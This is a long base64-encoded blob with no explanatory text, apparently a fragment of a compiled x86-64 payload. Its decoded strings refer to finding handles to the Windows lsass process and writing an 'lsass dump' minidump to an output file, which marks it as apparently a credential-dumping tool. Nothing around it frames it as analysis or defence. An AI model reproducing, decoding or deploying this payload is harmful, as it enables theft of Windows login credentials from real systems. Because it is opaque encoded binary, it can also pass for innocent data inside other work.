Pc0l1RHdBQUFEckFjTkppY29QQmNObFNJc0VKV0FBQUFDRHVCZ0JBQUFHZEE2RHVCZ0JBQUFLZEZEcFB3RUFBSU80SEFFQUFBRjBINE80SEFFQUFBSVBoTTRBQUFDRHVCd0JBQUFERDRUSUFBQUE2UmNCQUFCbWdiZ2dBUUFBc0IwUGhKOEFBQUJtZ2JnZ0FRQUFzUjBQaEpjQUFBRHA5QUFBQUdhQnVDQUJBQUFBS0ErRW1BQUFBR2FCdUNBQkFBQmFLUStFa0FBQUFHYUJ1Q0FCQUFBNU9BK0VpQUFBQUdhQnVDQUJBQURYT2crRWdBQUFBR2FCdUNBQkFBQ3JQM1I4Wm9HNElBRUFBTzVDZEhobWdiZ2dBUUFBWTBWMGRHYUJ1Q0FCQUFDNlIzUndab0c0SUFFQUFMdEhkR3htZ2JnZ0FRQUFZVXAwYUdhQnVDQUJBQUJpU25SazYybTRQd0FBQU90anVEOEFBQURyWExoQUFBQUE2MVc0UVFBQUFPdE91RUlBQUFEclI3aENBQUFBNjBDNFFnQUFBT3M1dUVJQUFBRHJNcmhDQUFBQTZ5dTRRZ0FBQU9za3VFSUFBQURySGJoQ0FBQUE2eGE0UWdBQUFPc1B1RUlBQUFEckNMaENBQUFBNndIRFNZbktEd1hEWlVpTEJDVmdBQUFBZzdnWUFRQUFCblFPZzdnWUFRQUFDblJRNlQ4QkFBQ0R1QndCQUFBQmRCK0R1QndCQUFBQ0Q0VE9BQUFBZzdnY0FRQUFBdytFeUFBQUFPa1hBUUFBWm9HNElBRUFBTEFkRDRTZkFBQUFab0c0SUFFQUFMRWRENFNYQUFBQTZmUUFBQUJtZ2JnZ0FRQUFBQ2dQaEpnQUFBQm1nYmdnQVFBQVdpa1BoSkFBQUFCbWdiZ2dBUUFBT1RnUGhJZ0FBQUJtZ2JnZ0FRQUExem9QaElBQUFBQm1nYmdnQVFBQXF6OTBmR2FCdUNBQkFBRHVRblI0Wm9HNElBRUFBR05GZEhSbWdiZ2dBUUFBdWtkMGNHYUJ1Q0FCQUFDN1IzUnNab0c0SUFFQUFHRktkR2htZ2JnZ0FRQUFZa3AwWk90cHVDTUFBQURyWTdnakFBQUE2MXk0SkFBQUFPdFZ1Q1VBQUFEclRyZ21BQUFBNjBlNEpnQUFBT3RBdUNZQUFBRHJPYmdtQUFBQTZ6SzRKZ0FBQU9zcnVDWUFBQURySkxnbUFBQUE2eDI0SmdBQUFPc1d1Q1lBQUFEckQ3Z21BQUFBNndpNEpnQUFBT3NCdzBtSnlnOEZ3MlZJaXdRbFlBQUFBSU80R0FFQUFBWjBEb080R0FFQUFBcDBVT2svQVFBQWc3Z2NBUUFBQVhRZmc3Z2NBUUFBQWcrRXpnQUFBSU80SEFFQUFBTVBoTWdBQUFEcEZ3RUFBR2FCdUNBQkFBQ3dIUStFbndBQUFHYUJ1Q0FCQUFDeEhRK0Vsd0FBQU9uMEFBQUFab0c0SUFFQUFBQW9ENFNZQUFBQVpvRzRJQUVBQUZvcEQ0U1FBQUFBWm9HNElBRUFBRGs0RDRTSUFBQUFab0c0SUFFQUFOYzZENFNBQUFBQVpvRzRJQUVBQUtzL2RIeG1nYmdnQVFBQTdrSjBlR2FCdUNBQkFBQmpSWFIwWm9HNElBRUFBTHBIZEhCbWdiZ2dBUUFBdTBkMGJHYUJ1Q0FCQUFCaFNuUm9ab0c0SUFFQUFHSktkR1RyYWJqNUFBQUE2Mk80K1FBQUFPdGN1QXNCQUFEclZiZ09BUUFBNjA2NEZBRUFBT3RIdUJjQkFBRHJRTGdaQVFBQTZ6bTRIUUVBQU9zeXVCOEJBQURySzdnaEFRQUE2eVM0SWdFQUFPc2R1Q01CQUFEckZyZ2pBUUFBNncrNEtBRUFBT3NJdUNnQkFBRHJBY05KaWNvUEJjTmxTSXNFSldBQUFBQ0R1QmdCQUFBR2RBNkR1QmdCQUFBS2RGRHBQd0VBQUlPNEhBRUFBQUYwSDRPNEhBRUFBQUlQaE00QUFBQ0R1QndCQUFBREQ0VElBQUFBNlJjQkFBQm1nYmdnQVFBQXNCMFBoSjhBQUFCbWdiZ2dBUUFBc1IwUGhKY0FBQURwOUFBQUFHYUJ1Q0FCQUFBQUtBK0VtQUFBQUdhQnVDQUJBQUJhS1ErRWtBQUFBR2FCdUNBQkFBQTVPQStFaUFBQUFHYUJ1Q0FCQUFEWE9nK0VnQUFBQUdhQnVDQUJBQUNyUDNSOFpvRzRJQUVBQU81Q2RIaG1nYmdnQVFBQVkwVjBkR2FCdUNBQkFBQzZSM1J3Wm9HNElBRUFBTHRIZEd4bWdiZ2dBUUFBWVVwMGFHYUJ1Q0FCQUFCaVNuUms2Mm00SGdBQUFPdGp1QjRBQUFEclhMZ2ZBQUFBNjFXNElBQUFBT3RPdUNFQUFBRHJSN2doQUFBQTYwQzRJUUFBQU9zNXVDRUFBQURyTXJnaEFBQUE2eXU0SVFBQUFPc2t1Q0VBQUFEckhiZ2hBQUFBNnhhNElRQUFBT3NQdUNFQUFBRHJDTGdoQUFBQTZ3SERTWW5LRHdYRFpVaUxCQ1ZnQUFBQWc3Z1lBUUFBQm5RT2c3Z1lBUUFBQ25SUTZUOEJBQUNEdUJ3QkFBQUJkQitEdUJ3QkFBQUNENFRPQUFBQWc3Z2NBUUFBQXcrRXlBQUFBT2tYQVFBQVpvRzRJQUVBQUxBZEQ0U2ZBQUFBWm9HNElBRUFBTEVkRDRTWEFBQUE2ZlFBQUFCbWdiZ2dBUUFBQUNnUGhKZ0FBQUJtZ2JnZ0FRQUFXaWtQaEpBQUFBQm1nYmdnQVFBQU9UZ1BoSWdBQUFCbWdiZ2dBUUFBMXpvUGhJQUFBQUJtZ2JnZ0FRQUFxejkwZkdhQnVDQUJBQUR1UW5SNFpvRzRJQUVBQUdORmRIUm1nYmdnQVFBQXVrZDBjR2FCdUNBQkFBQzdSM1JzWm9HNElBRUFBR0ZLZEdobWdiZ2dBUUFBWWtwMFpPdHB1QTBBQUFEclk3Z05BQUFBNjF5NERnQUFBT3RWdUE4QUFBRHJUcmdRQUFBQTYwZTRFQUFBQU90QXVCQUFBQURyT2JnUUFBQUE2eks0RUFBQUFPc3J1QkFBQUFEckpMZ1FBQUFBNngyNEVBQUFBT3NXdUJBQUFBRHJEN2dRQUFBQTZ3aTRFQUFBQU9zQncwbUp5ZzhGdzJWSWl3UWxZQUFBQUlPNEdBRUFBQVowRG9PNEdBRUFBQXAwVU9rL0FRQUFnN2djQVFBQUFYUWZnN2djQVFBQUFnK0V6Z0FBQUlPNEhBRUFBQU1QaE1nQUFBRHBGd0VBQUdhQnVDQUJBQUN3SFErRW53QUFBR2FCdUNBQkFBQ3hIUStFbHdBQUFPbjBBQUFBWm9HNElBRUFBQUFvRDRTWUFBQUFab0c0SUFFQUFGb3BENFNRQUFBQVpvRzRJQUVBQURrNEQ0U0lBQUFBWm9HNElBRUFBTmM2RDRTQUFBQUFab0c0SUFFQUFLcy9kSHhtZ2JnZ0FRQUE3a0owZUdhQnVDQUJBQUJqUlhSMFpvRzRJQUVBQUxwSGRIQm1nYmdnQVFBQXUwZDBiR2FCdUNBQkFBQmhTblJvWm9HNElBRUFBR0pLZEdUcmFiZ3pBQUFBNjJPNE13QUFBT3RjdURRQUFBRHJWYmcxQUFBQTYwNjROZ0FBQU90SHVEWUFBQURyUUxnMkFBQUE2em00TmdBQUFPc3l1RFlBQUFEcks3ZzJBQUFBNnlTNE5nQUFBT3NkdURZQUFBRHJGcmcyQUFBQTZ3KzROZ0FBQU9zSXVEWUFBQURyQWNOSmljb1BCY05sU0lzRUpXQUFBQUNEdUJnQkFBQUdkQTZEdUJnQkFBQUtkRkRwUHdFQUFJTzRIQUVBQUFGMEg0TzRIQUVBQUFJUGhNNEFBQUNEdUJ3QkFBQURENFRJQUFBQTZSY0JBQUJtZ2JnZ0FRQUFzQjBQaEo4QUFBQm1nYmdnQVFBQXNSMFBoSmNBQUFEcDlBQUFBR2FCdUNBQkFBQUFLQStFbUFBQUFHYUJ1Q0FCQUFCYUtRK0VrQUFBQUdhQnVDQUJBQUE1T0ErRWlBQUFBR2FCdUNBQkFBRFhPZytFZ0FBQUFHYUJ1Q0FCQUFDclAzUjhab0c0SUFFQUFPNUNkSGhtZ2JnZ0FRQUFZMFYwZEdhQnVDQUJBQUM2UjNSd1pvRzRJQUVBQUx0SGRHeG1nYmdnQVFBQVlVcDBhR2FCdUNBQkFBQmlTblJrNjJtNFBBQUFBT3RqdUR3QUFBRHJYTGc5QUFBQTYxVzRQZ0FBQU90T3VEOEFBQURyUjdnL0FBQUE2MEM0UHdBQUFPczV1RDhBQUFEck1yZy9BQUFBNnl1NFB3QUFBT3NrdUQ4QUFBRHJIYmcvQUFBQTZ4YTRQd0FBQU9zUHVEOEFBQURyQ0xnL0FBQUE2d0hEU1luS0R3WERaaTRQSDRRQUFBQUFBRUZYUVZaQlZVRlVWVmUvQUJBQUFGWk1pYzVUU0lIc0dBWUFBRW1MbVlBQUFBQk1pWVFrMkFFQUFJbVVKSmdCQUFCSWlZd2tvQUVBQUVqSGhDU1lBQUFBQUFBQUFNZUVKS0FBQUFBQUFBQUFTTWVFSkxBQkFBQUFBQUFBeDRRa3VBRUFBQUFBQUFCSXg0UWt3QUVBQUFBQUFBQkl4NFFreUFFQUFBQUFBQURIaENUUUFRQUFJZ2dBQUVqSGhDVG9BUUFBQUFBQUFFakhoQ1R3QVFBQUFBQUFBRWpIaENUNEFRQUFBQUFBQUVqSGhDUUFBZ0FBQUFBQUFNZUVKT0FCQUFBQUFBQUFRZitSaUFBQUFFRzRBQkFBQURIU1NJbkIvOU5JaWNOSWhjQjFOK25EQ2dBQVppNFBINFFBQUFBQUFFaUxycGdBQUFBQi8vK1dpQUFBQUVtSjJFR0orVEhTU0luQi85VklpY05JaGNBUGhKRUtBQUJGTWNsQmlmaElpZHE1QlFBQUFPai8rLy8vUFFRQUFNQjB2b1hBRDRWWUNnQUFpNHdrbUFFQUFFaUoyamxMVUErRlB3b0FBSXQ2QkVpTHJvQUFBQUNKdkNTNEFRQUEvNWFJQUFBQVRJMEVmekhTU0luQlNjSGdBdi9WU0ltRUpMQUJBQUJJaGNBUGhBNEtBQUJJaTc2UUFBQUFTSTJzSkJBQ0FBQk1qYXdrOEFBQUFQK1dpQUFBQUVtSjJESFNUSTJrSkxBQUFBQklpY0c3QVFBQUFQL1hTSTJNSkpBQkFBQklpZkpJamJ3a2hBQUFBT2dBRlFBQWk1UWs0QUVBQUVVeHlVVXh3RWk0VFVSTlVKT25BQUJJaTR3azJBRUFBTWVFSk9BQUFBQUFBQUFBU0ltRUpOQUFBQUJJdUFRQUFBQWdBQUFBU0ltRUpOZ0FBQUJJeDRRazZBQUFBQ0lJQUFEL2xxQUFBQUJJaVhRa0lFbUo2VWlMakNUWUFRQUFRYmdnQUFBQVNJMlVKTkFBQUFEb1p3c0FBSXVFSk9BQkFBQk1pZW5IaENTa0FBQUFCd0FBQUlQQVVJbUVKT0FCQUFDSmhDU3NBQUFBLzVhd0FBQUF1bXdBQUFCSXVHNTBaR3hzTG1Sc3VYSnpBQUJJaVlRa2pBQUFBRWk0VW5Sc1IyVjBUblJtaVpRa2xBQUFBRWk2Vm1WeWMybHZiazVJaVlRa3NBQUFBRWlOaENTTUFBQUFTSW1VSkxnQUFBQm1pWXdreEFBQUFFaUp3Y2VFSk1BQUFBQjFiV0pseG9Ra3hnQUFBQUJJaVVRa1VQK1dxQUFBQUV5SjRrbUp4a2lKd2YrVzBBQUFBRWlKK2tpSmZDUm9USTJFSklnQUFBQk1pVVFrTUVpTmpDU0FBQUFBLzlCTWlmRkZNZmFCcENTSUFBQUEvLzhBQVArV3VBQUFBQSszaENUd0FBQUF4b1FrSndFQUFBSEhoQ1EwQVFBQUFnQUFBR2FKaENRZ0FRQUFpNFFrSEFFQUFNZUVKRHdCQUFBUUFBQUFpWVFrSWdFQUFJdUVKQkFCQUFCSXg0UWtRQUVBQUFBQUFBQ0loQ1FtQVFBQWk0UWtnQUFBQUVqSGhDUklBUUFBQUFBQUFJbUVKQ2dCQUFDTGhDU0VBQUFBaVlRa0xBRUFBSXVFSklnQUFBQ0poQ1F3QVFBQWk0UWs0QUVBQUlQQU9JbUVKRGdCQUFCRWlmSC9sc0FBQUFDRndIUVJTSW5ZUklueFNOUGdTQW1FSkVBQkFBQkJnOFlCUVlQK1FIWFlpNVFrNEFFQUFFVXh5VVV4d0VpSjcwaUxqQ1RZQVFBQVNJMWNKSGovbHFBQUFBQklpWFFrSUVtSjZVaU5oQ1FnQVFBQVNJdU1KTmdCQUFCSWljSkJ1RGdBQUFCSWlVUWtRT2hxQ1FBQU1jQzVRQUFBQUlPRUpPQUJBQUE0ODBpclNJbnAvNWJJQUFBQVNJbDBKQ0JJalZRa2ZFaUxqQ1RZQVFBQUFjQkppZGxCdUFRQUFBQ0pSQ1I4NkNrSkFBQklpWFFrSUVtSjJVaUo2a1NMUkNSOFNJdU1KTmdCQUFEb0RBa0FBSXRFSkh4Rk1jbEZNY0FEaENUZ0FRQUFpNVFrM0FBQUFNZUVKS2dBQUFBNEFBQUFnOEFFU0l1TUpOZ0JBQUNKaENUZ0FRQUEvNWFnQUFBQVNJbDBKQ0JKaWVsSWpZUWtwQUFBQUVpTGpDVFlBUUFBU0luQ1FiZ01BQUFBU0lsRUpFam9wZ2dBQUl1RUpPQUJBQUNMakNUSUFRQUF4NFFrcEFBQUFBUUFBQUNKUkNSZ2lZUWtyQUFBQUlYSkQ0UlVDQUFBZytrQlNJdVVKTUFCQUFCSWFja29BZ0FBU0luUVRJMkVDaWdDQUFBeHlROGZBSU00QVlQUkFFZ0ZLQUlBQUV3NXdIWHZhOGxzUlRIMlRJbGtKRmhNamJ3a0ZBSUFBTWVFSklRQUFBQUFBQUFBUlluMGpVRUVpMHdrWUluSGlVUWtaSW5JQWZoSWpid2tPQUVBQUltRUpPQUJBQUNOUVFTSlJDUTg2dzBQSDBRQUFFaUxsQ1RBQVFBQVJJbmpTR25iS0FJQUFFaU5EQnFMQVlYQUQ0VWhBZ0FBU0lQQkhQK1d5QUFBQUVpTGxDVEFBUUFBVEluNWpVUUFBa2dCMm9tRUpCQUNBQUJJZzhJYy81WUFBUUFBaTVRazRBRUFBRVV4eVVVeHdFZ0RuQ1RBQVFBQVNJdU1KTmdCQUFCSWkwTUlTSW1FSkNBQkFBQ0xReENKaENRb0FRQUFpME1ZaVlRa0xBRUFBSXRERkl1Y0pCQUNBQUNKbENRMEFRQUFpWVFrTUFFQUFJMUQvb1BEQkltRUpCQUNBQUQvbHFBQUFBQkJpZGhOaWVsSWllcElpWFFrSUVpTGpDVFlBUUFBNkNnSEFBQUJuQ1RnQVFBQVRJbjVTSXRVSkRESGhDU3dBQUFBWEFBQUFFakhCd0FBQUFCSXgwY0lBQUFBQUVqSFJ4QUFBQUFBU01kSEdBQUFBQUJJeDBjZ0FBQUFBRWpIUnlnQUFBQUF4MGN3QUFBQUFQK1c2QUFBQUluRGhjQVBoSklBQUFCTWk3YUFBQUFBLzVhSUFBQUFRWW5ZTWRKSWljRkIvOVpKaWNaSWhjQjBjb3VVSklnQUFBQkppY0ZCaWRoTWlmbi9sdkFBQUFDRndIUkJUSXRNSkZCSWkxUWtXRTJKNkV5SjhmK1crQUFBQUlYQWRDZUR2Q1NNQUFBQU5FRzROQUFBQUVpTGxDVHdBQUFBU0luNVJBOUdoQ1NNQUFBQVJZbkEveFpJaTU2UUFBQUEvNWFJQUFBQVRZbndNZEpJaWNILzA0dUVKSVFBQUFDTFRDUThSVEhKUlRIQVNNZUVKR3dCQUFBQUFBQUFTTWVFSkhRQkFBQUFBQUFBalZBQmE4QnNpWlFraEFBQUFFakhoQ1I4QVFBQUFBQUFBRWpIaENTRUFRQUFBQUFBQUkwVUNFaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrUUUySjZVaUxqQ1RZQVFBQVFiaHNBQUFBNkxjRkFBQkJnOFFCUkR1a0pNZ0JBQUFQZ3EzOS8vOU1pMlFrV0l0VUpHQkZNY2xGTWNBeDIwaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrYUUySjZVaUxqQ1RZQVFBQVFiZ0VBQUFBNkdZRkFBQ0xSQ1JrUlRISlJUSEFTSXVNSk5nQkFBQ0poQ1NvQUFBQWk0UWszQUFBQUkxUURQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9nZEJRQUE2eGNQSHdCTUFmTVBndk1BQUFCSWk1d2tFQUlBQUV3QjgwaUxqQ1NnQVFBQVFia3dBQUFBU1lub1NJbmEvNWJZQUFBQVNJWEFENFRGQUFBQWdid2tNQUlBQUFBUUFBQk1pN1FrS0FJQUFIVzBUSXU4SlBnQkFBQklpN3drRUFJQUFFMkYvdytFT2dRQUFJdUVKQUFDQUFDTGxDUUVBZ0FBT2RBUGdod0VBQUJNaTVhWUFBQUFBZEtKbENRRUFnQUFpVlFrUEV5SlZDUXcvNWFJQUFBQVJJdE1KRHhOaWZneDBreUxWQ1F3U0luQlNjSGhCRUgvMGttSngwaUpoQ1Q0QVFBQVRZWC9ENFFTQkFBQWk0UWtBQUlBQUVpTGpDUW9BZ0FBaWNLRHdBRkl3ZUlFU1FIWFRZbDNDRW1Kemt3QjgwbUpQNG1FSkFBQ0FBQVBndzMvLy8rTGhDUUFBZ0FBaTVRazRBRUFBRVV4eVVVeHdNZUVKS1FBQUFBSkFBQUFqVWdCU0ltRUpQQUFBQUNKejRtVUpLd0FBQUJJaTR3azJBRUFBTUhuQkkwRU9vbDhKR0JJaVlRaytBQUFBUCtXb0FBQUFFaUpkQ1FnVElucVNZbnBTSXVNSk5nQkFBQkJ1QWdBQUFCRk1lM29xQU1BQUl1RUpPQUJBQUJGTWNsRk1jQklpNHdrMkFFQUFJMVFDSW1VSk9BQkFBRC9scUFBQUFCSWlYUWtJRW1KNlVpTGpDVFlBUUFBU0kyVUpQZ0FBQUJCdUFnQUFBRG9ZQU1BQUl1RUpPQUJBQUNOZUFpTGhDUUFBZ0FBaVh3a1BFR0p4a0hCNWdSQkFmNUVpYlFrNEFFQUFJWEFENFNnQVFBQVJJbHNKREJJaTN3a1VBOGZnQUFBQUFCRWkzd2tNRVV4eVVVeHdFVXg3VWlMaENUNEFRQUFTSXVNSk5nQkFBQkp3ZWNFVEFINFNJc1FTSXRBQ0VpSmxDUWdBUUFBVElueVNJbUVKQ2dCQUFEL2x1QUFBQUJJaTRRaytBRUFBRXdCK0VpTFdBaEloZHQxSnVuU0FBQUFacEJJaTRRaytBRUFBRW1CeFFBRUFBQk1BZmhJaTFnSVREbnJENGF4QUFBQVNZblpSQ25yVFNucFNZSDUvd01BQUhZTFFia0FCQUFBdXdBRUFBQklpeEJNaVdRa0lFbUo2RWlMakNTZ0FRQUFTTWVFSkxBQUFBQUFBQUFBVEFIcTZEM3ovLytGd0hXWlNJbDBKQ0JKaWZsQmlkaElpZXBJaTR3azJBRUFBT2crQWdBQTZYbi8vLzltRHgrRUFBQUFBQUJJQWNJNVNsQVBoTUgxLy8rTEFvWEFkZTVJaTc2UUFBQUEvNWFJQUFBQVNZbllNZEpJaWNILzF6SEFTSUhFR0FZQUFGdGVYMTFCWEVGZFFWNUJYOE9RaTF3a1BFaUxqQ1RZQVFBQVJUSEpSVEhBVEFPMEpDZ0JBQUNKMm9QREVQK1dvQUFBQUVpSmRDUWdTSXRVSkVCTmllRklpNHdrMkFFQUFFRzRFQUFBQU9pckFRQUFnMFFrTUFHTFJDUXdpVndrUER1RUpBQUNBQUFQZ25IKy8vK0xSQ1JnU0l1TUpOZ0JBQUJGTWNsRk1jQ0poQ1NvQUFBQWk0UWszQUFBQUkxUUdQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9oSUFRQUFpNFFrM0FBQUFFVXh5VVV4d0VpTGpDVFlBUUFBalZBay81YWdBQUFBU0lsMEpDQklpNHdrMkFFQUFFbUo2VWlObENTWUFBQUFRYmdNQUFBQTZBY0JBQUJJaTd3azZBRUFBRWlMbnBBQUFBRC9sb2dBQUFBeDBrbUorRWlKd2YvVFNJdThKUGdCQUFCSWk1NlFBQUFBLzVhSUFBQUFNZEpKaWZoSWljSC8wMGlMdkNUQUFRQUFTSXVla0FBQUFQK1dpQUFBQURIU1NZbjRTSW5CLzlOSWk3d2tzQUVBQUVpTG5wQUFBQUQvbG9nQUFBQXgwa2lKd1VtSitQL1R1QUVBQUFEcGZQNy8vMHlKOGVrMy9QLy9USXUrZ0FBQUFNZUVKQVFDQUFBZ0FBQUEvNWFJQUFBQVFiZ0FBZ0FBTWRKSWljRkIvOWRKaWNkSWlZUWsrQUVBQUUyRi93K0Y3dnYvLzBqSGhDUUFBZ0FBQUFBQUFFeUx0Q1FvQWdBQTZRNzcvLytMUkNSZ3gwUWtaQVFBQUFESGhDU0VBQUFBQUFBQUFJUEFCSW1FSk9BQkFBRHBZUHIvLzBGV1RZbk9RVlZKaWMxQlZGVlhTSW5YVmxORWljTklnK3d3VEl1a0pKQUFBQUJKaTdRa2dBQUFBRUgvbENTSUFBQUFNZEpKaWRoSWljSC8xa2lGd0ErRWd3QUFBRWlKM1VpSnhvWGJkQzB4d0E4ZmdBQUFBQUFQdGhRSGlCUUdTSVBBQVVnNXczWHdTSW53U0FIelpwQ0FNRUZJZzhBQlNEbkRkZlJCaWVoSWlmSk1pZWxOaWZGSXgwUWtJQUFBQUFCQi8xUWtlRW1MbkNTUUFBQUFRZitVSklnQUFBQklnOFF3U1lud01kSklpY0ZJaWRoYlhsOWRRVnhCWFVGZS8rQVBINEFBQUFBQVNJUEVNRnRlWDExQlhFRmRRVjdEa0pDUWtKQ1FrSkNRUVZjeHdFRldRVlZCVkZWWFZraUp6cmtlQUFBQVUwaUI3RmdIQUFCSWpid2tRQUVBQUV5SmhDU3dCd0FBODBpcnVSNEFBQUJJeDBRa1lBQUFBQUJJeDBRa2FBQUFBQURIaENTd0FBQUFNQUFBQUVqSGhDUzRBQUFBQUFBQUFNZUVKTWdBQUFBQUFBQUFTTWVFSk1BQUFBQUFBQUFBeHdjQUFBQUFTSTI4SkZBQ0FBRHpTS3RJdUZBQWNnQnZBR01BU01lRUpOQUFBQUFBQUFBQVNJbUVKSUFBQUFCSXVHVUFjd0J6QUFBQVNJbUVKSWdBQUFDNGN3QUFBRWpIaENUWUFBQUFBQUFBQUVqSFJDUndBQUFBQUVqSFJDUjRBQUFBQUVqSGhDUXdBUUFBQUFBQUFFakhoQ1E0QVFBQUFBQUFBRWpIaENSQUFnQUFBQUFBQUVqSGhDUklBZ0FBQUFBQUFNY0hBQUFBQU1kRUpGcHNjMkZ6Wm9sRUpGNkxEb1hKRDRTVkF3QUFpZFZOaWN3eDIwVXgvMFV4OXVzT0R4OEFnOE1CT1I0UGhqMERBQUNKMzRYdGRBcElqUVIvT1d6R0NIWGxTSTBFZjR0RXhoZzlBQUFRQUErVndUMkpBUklBRDVYQ2hORjB5U1gvLy9mL1BaOEJFZ0IwdlUyRjluUVFRYmdBZ0FBQU1kSk1pZkZCLzFRa09FaU5CSDlJalV3a2FMcEFCQUFBU01kRUpIZ0FBQUFBVEkwc3hreU5UQ1J3UVl0RkNFeU5oQ1N3QUFBQVNJbEVKSERvUE9mLy8wRVB0MVVPeDBRa01BQUFBQUJNalV3a1lNZEVKQ2dBQUFBQVNJdE1KR2hKeDhELy8vLy94MFFrSUJBRUFBRG9QZVQvLzBHNUJBQUFBRUc0QUJBQUFESEp1Z0FRQUFCQi8xUWtTRW1KeGtpRndBK0VHLy8vLzBpTFRDUmdRYmtBRUFBQVNZbkF1Z0lBQUFCSXgwUWtJQUFBQUFEbzl1ci8vNFhBRDRqeS92Ly9TWXRPQ0VpTmxDU0FBQUFBUWY5VUpGQ0Z3QStGMmY3Ly8waU52Q1F3QVFBQU1kSklpMHdrWUVHNUJBRUFBRW1KK0VIL1ZDUmdoY0FQaExUKy8vOUlqWVFrUUFJQUFFaUxUQ1JvUWJnRUFRQUFTSWxFSkVoSWljSkIvMVFrYUlYQUQ0U00vdi8vU0kxVUpGcElpZmxCLzFRa1dFaUZ3QStFZHY3Ly8wSDNSUmdRQkFBQUQ0Um8vdi8vU0l0TUpFaElqYndrWUFNQUFFeU52Q1JRQlFBQVFmOVVKSEM1UGdBQUFFeUxSQ1J3U0xwa0lHRnVaQ0J6ZFVtSndVaTRXeXRkSUVadmRXNUlpWlFrNkFBQUFFaTZiSGtnWTJ4dmJtVklpWVFrNEFBQUFFaTRZMk5sYzNObWRXeElpWVFrOEFBQUFFaTRaQ0JvWVc1a2JHVklpWVFrQUFFQUFFaTRJR3h6WVhOeklHbElpWVFrRUFFQUFFaTRDVnNyWFNCSVlXNUlpWVFra0FBQUFFaTRkSE02SUNWNENnQklpWVFrb0FBQUFESEE4MGlyU0ltVUpQZ0FBQUJJamJ3a1lBVUFBRWk2SUNnbFpDa2dkRys1UGdBQUFFaUpsQ1FJQVFBQVNMcHVPaUFsY3lBb0pmTklxMGlKbENRWUFRQUFTSTI4SkZBREFBQkl1bVJzWlNCU2FXZG9TSW1VSkpnQUFBQklpZmxJalpRazRBQUFBRXlKUkNRZ3g0UWtJQUVBQUdRcENnQkl4NFFrVUFNQUFBQUFBQUJJeDRRa1dBTUFBQUFBQUFCSXg0UWtVQVVBQUFBQUFBQkl4NFFrV0FVQUFBQUFBQUJCLzFRa0dFV0xSUmhNaWZsSWpaUWtrQUFBQUVIL1ZDUVlTSXVNSkxBSEFBQklpZnBCLzFRa0NFeUora2lMakNTd0J3QUFRZjlVSkFoTWkzd2tZSVh0ZFZsTWlmbUR3d0ZCLzFRa0tEa2VENGZKL1AvL1pnOGZSQUFBU0l0TUpHaEloY2wwQlVIL1ZDUW9UWVgyZEJCQnVBQ0FBQUF4MGt5SjhVSC9WQ1E0U0lIRVdBY0FBRXlKK0Z0ZVgxMUJYRUZkUVY1Qlg4TkZNZi9yNUVpTFRDUm9TSVhKZGNEcnlKQ1FrSkJCVjBtSjEwRldUWW5HUVZWQmljMU1pY2xCVkZOTWljdElnZXl3QUFBQTZPd0xBQUJJaGNBUGhGTUJBQUJFaWVwSmlkbE5pZmhJaWNGSmljVG83L3IvLzBtSnhVaUZ3QStFa3dJQUFFaTRXeXBkSUU1dmR5Qk1pZm5HUkNSaUFFaTZkSEo1YVc1bklIUklpVVFrUUVpNGJ5QmtkVzF3SUd4SWlWUWtTRWk2YzJGemN5QXVMaTVJaVVRa1VMZ2dDZ0FBU0lsVUpGaElqVlFrUUdhSlJDUmcvMU1JVElueFJUSEpSVEhBU01kRUpEQUFBQUFBdWdBQUFFREhSQ1FvZ0FBQUFNZEVKQ0FDQUFBQS8xTWdTWW5HU0lQNC93K0VGZ0VBQUV5SjZmOVRNRW1KMlUySjhFeUo2WW5DNkxEci8vK0Z3QStFZUFFQUFFaTRXeXRkSUV4ellYTk1pZmxJdW5NZ1pIVnRjQ0JweDRRa2lBQUFBSFJsQ2dCSWlVUWtjRUcvQVFBQUFFaTRjeUJqYjIxd2JHVklpVlFrZUVpTlZDUndTSW1FSklBQUFBRC9Vd2hOaGZaMEJreUo4ZjlUS0V5SjZmOVRLRUc0QUlBQUFESFNUSW5oLzFNNFNJSEVzQUFBQUVTSitGdEJYRUZkUVY1Qlg4Tm1EeCtFQUFBQUFBQkl1RnN0WFNCR1lXbHNUSW41U0xwbFpDQjBieUJuWmNlRUpKQUFBQUJzWlhNS1NJbEVKSEJGTWY5SXVIUWdZU0JzYVhOMFNJbFVKSGhJdWlCdlppQm9ZVzVrU0ltVUpJZ0FBQUJJalZRa2NFaUpoQ1NBQUFBQXhvUWtsQUFBQUFEL1V3anBlLy8vL3c4ZmhBQUFBQUFBU0xoYkxWMGdRMjkxYkV5SitVaTZaQ0J1YjNRZ2QzTEhoQ1NZQUFBQWFXeGxDa2lKUkNSd1JUSC9TTGhwZEdVZ2RHOGdjMGlKVkNSNFNMcHdaV05wWm1sbFpFaUpoQ1NBQUFBQVNMZ2diM1YwY0hWMFpraUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBTWFFSkp3QUFBQUEvMU1JNmQvKy8vOW1EeDlFQUFCSXVGc3RYU0JUYjIxbFRJbjVSVEgvU0xwMGFHbHVaeUIzWlVpSlJDUndTTGh1ZENCM2NtOXVaMGlKVkNSNFNMb2dkMmhwYkdVZ1pFaUpoQ1NBQUFBQVNMaDFiWEJwYm1jS0FFaUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBUDlUQ09sdC92Ly9aZzhmaEFBQUFBQUFTTGhiTFYwZ1EyOTFiRXlKK1VpNlpDQnViM1FnWm1uSGhDU2dBQUFBYVdRS0FFaUpSQ1J3UlRIL1NMaHVaQ0JoY0hCeWIwaUpWQ1I0U0xwd2NtbGhkR1VnYUVpSmhDU0FBQUFBU0xoaGJtUnNaU0JwYmtpSmxDU0lBQUFBU0xvZ1oybDJaVzRnY0VpSmxDU1lBQUFBU0kxVUpIQklpWVFra0FBQUFQOVRDT254L2YvL2tKQ1FrSkNRa0pDUWtKQ1FRVmU0cUJVQUFFRldRVlZCVkZWWFZsUG9hdHovLzBHNEFCQUFBRWdweEVtSnpESEF1UUFDQUFCSWpid2tvQVVBQUVpTm5DU2dBUUFBU0luVlNNZEVKSEFBQUFBQTgwaXJ1VUFBQUFCSWlkOU1qYlFrb0FNQUFQTklxMHlKOTdsQUFBQUFTSTIwSktBRkFBRHpTS3RNalV3a1pFaUo4a21MVENRUVNNZEVKSGdBQUFBQVNNZUVKSUFBQUFBQUFBQUF4MFFrWkFBQUFBRC9sUkFCQUFDTFJDUmtTSTJNSkp